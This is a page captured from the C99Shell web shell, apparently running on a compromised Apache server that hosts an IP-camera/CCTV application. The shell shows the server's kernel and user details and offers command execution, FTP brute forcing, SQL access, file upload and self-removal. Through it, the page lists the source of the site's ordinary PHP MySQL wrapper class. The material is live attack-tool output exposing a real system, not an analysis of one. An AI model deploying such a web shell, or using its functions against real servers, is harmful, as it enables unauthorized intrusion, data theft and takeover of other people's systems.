!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/ipcam-cctv/include/   drwxr-xr-x
Free 13.12 GB of 57.97 GB (22.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     mdb.php (5.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class mdb {

    public 
$address;
    public 
$user;
    public 
$pass;
    public 
$db;
    public 
$port;
    public 
$socket;

    public 
$debug_print 0;
    public 
$debug_log 0;

    public 
$keep_connected 1;
    public 
$result;

    private 
$dbobj;
    private 
$is_connected 0;
    private 
$transaction_open 0;
    private 
$qresult;
    private 
$stmt;

    function 
__construct($address$user$pass$db ,$port 3306$socket false) {

        
$this->address $address;
        
$this->user $user;
        
$this->pass $pass;
        
$this->db $db;
        
$this->port $port;
        
$this->socket $socket;

    }

    public function 
connect() {
        if (
$this->is_connected == 0) {
            if (
$this->dbobj = new mysqli($this->address$this->user$this->pass$this->db$this->port$this->socket)) {
                
$this->is_connected 1;
                
$this->transaction_open 0;
                
//TODO: Else, throw error
            
} else {
                return 
false;
            }
        }
        return 
true
    }

    public function 
disconnect() {
        if (
$this->is_connected == 1) {
            
$this->dbobj->close();
            
$this->is_connected 0;
            
$this->transaction_open 0;
        }
        return 
true;
    }

    private function 
disconnect_if_allowed() {
        if (
$this->keep_connected == and $this->transaction_open == 0) {
            
$this->disconnect(); 
        }
    }

    public function 
query($query) {
        
$this->connect();
        
$this->debug_print("QUERY = ".$query);
        if (
$this->qresult $this->dbobj->query($query)) {
            
$this->result $this->query_fetch();
            
$this->disconnect_if_allowed();
            return 
true;
        } else {
            
$this->disconnect_if_allowed();
            return 
false//mysqli_error()
        
}
    }
    
    private function 
query_fetch() {
        
$output = array();
        if (isset(
$this->qresult->num_rows) && $this->qresult->num_rows 0) {
            
$fields $this->qresult->fetch_fields();
            
$field_names = array();
            foreach (
$fields as $field){
                
$field_names[] = $field->name;
            }
            while (
$row $this->qresult->fetch_row()) {
                
$table_row array_combine($field_names$row);
                
$output[] = $table_row;
            }
            return 
$output;
        } else {
            return 
false;
        }
    }

    public function 
prepared_query($query$types$data) {
        
$this->connect();
        
$this->debug_print("PREPARED_QUERY = ".$query." | TYPES = ".print_r($types,1)." | DATA = ".print_r($data,1));
        if (!
$this->stmt $this->dbobj->prepare($query)) {
            
$this->disconnect_if_allowed();
            return 
false;
        }

        
//bind_param
        
$bind_params = array();
        
$param_type '';
        
$n count($types);
        for (
$i 0$i $n$i++) {
            
$param_type .= $types[$i];
        }
        
$bind_params[] = & $param_type;
        for (
$i 0$i $n$i++) {
            
$bind_params[] = & $data[$i];
        }
        if (!
call_user_func_array(array($this->stmt'bind_param'), $bind_params)) {
            
$this->disconnect_if_allowed();
            return 
false;
        }

        if (!
$this->stmt->execute()) {
            
$this->disconnect_if_allowed();
            return 
false;
        }

        
$this->result $this->prepared_query_fetch();
        
$this->disconnect_if_allowed();
        return 
true;
    }

    private function 
prepared_query_fetch() {
        if (
$meta $this->stmt->result_metadata()) {
            
$names = array();
            while (
$field $meta->fetch_field()) {
                
$name $field->name;
                
//$$name = null;
                
$names[$name] = null;
                
//$result[$field->name] = &$$name;
                
$result[$field->name] = &$names[$name];
            }
            
call_user_func_array(array($this->stmt'bind_result'), $result);
            
$output = array();
            while (
$this->stmt->fetch()) {
                foreach (
$result as $key=>$value) {
                    
$result_temp[$key] = $value;
                }
                
$output[] = $result_temp;
            }
            return 
$output;
        } else {
            return 
false;
        }
    }

    public function 
start_transaction() {
        
$this->connect();
        
$this->dbobj->begin_transaction();
        
$this->transaction_open 1;
    }

    public function 
commit() {
        
$this->dbobj->commit();
        
$this->transaction_open 0;
        
$this->disconnect_if_allowed();
    }

    public function 
rollback() {
        
$this->dbobj->rollback();
        
$this->transaction_open 0;
        
$this->disconnect_if_allowed();
    }
    
    public function 
escape($value) {
        return 
$this->dbobj->real_escape_string($value);
    }

    public function 
last_error() {
        return 
$this->dbobj->error;
    }

    private function 
debug_print($data) {
        if (
$this->debug_print 0) {
            if (
php_sapi_name() === 'cli') {
                echo 
"DEBUG: [ ".$data." ]\n";
            } else {
                echo 
"<pre>DEBUG: [ ".$data." ]</pre>";
            }
        }
        if (
$this->debug_log 0) {
            
error_log("DEBUG: [ ".$data." ]\n");
        }
    }

    function 
__destruct() {
        
$this->disconnect();
    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--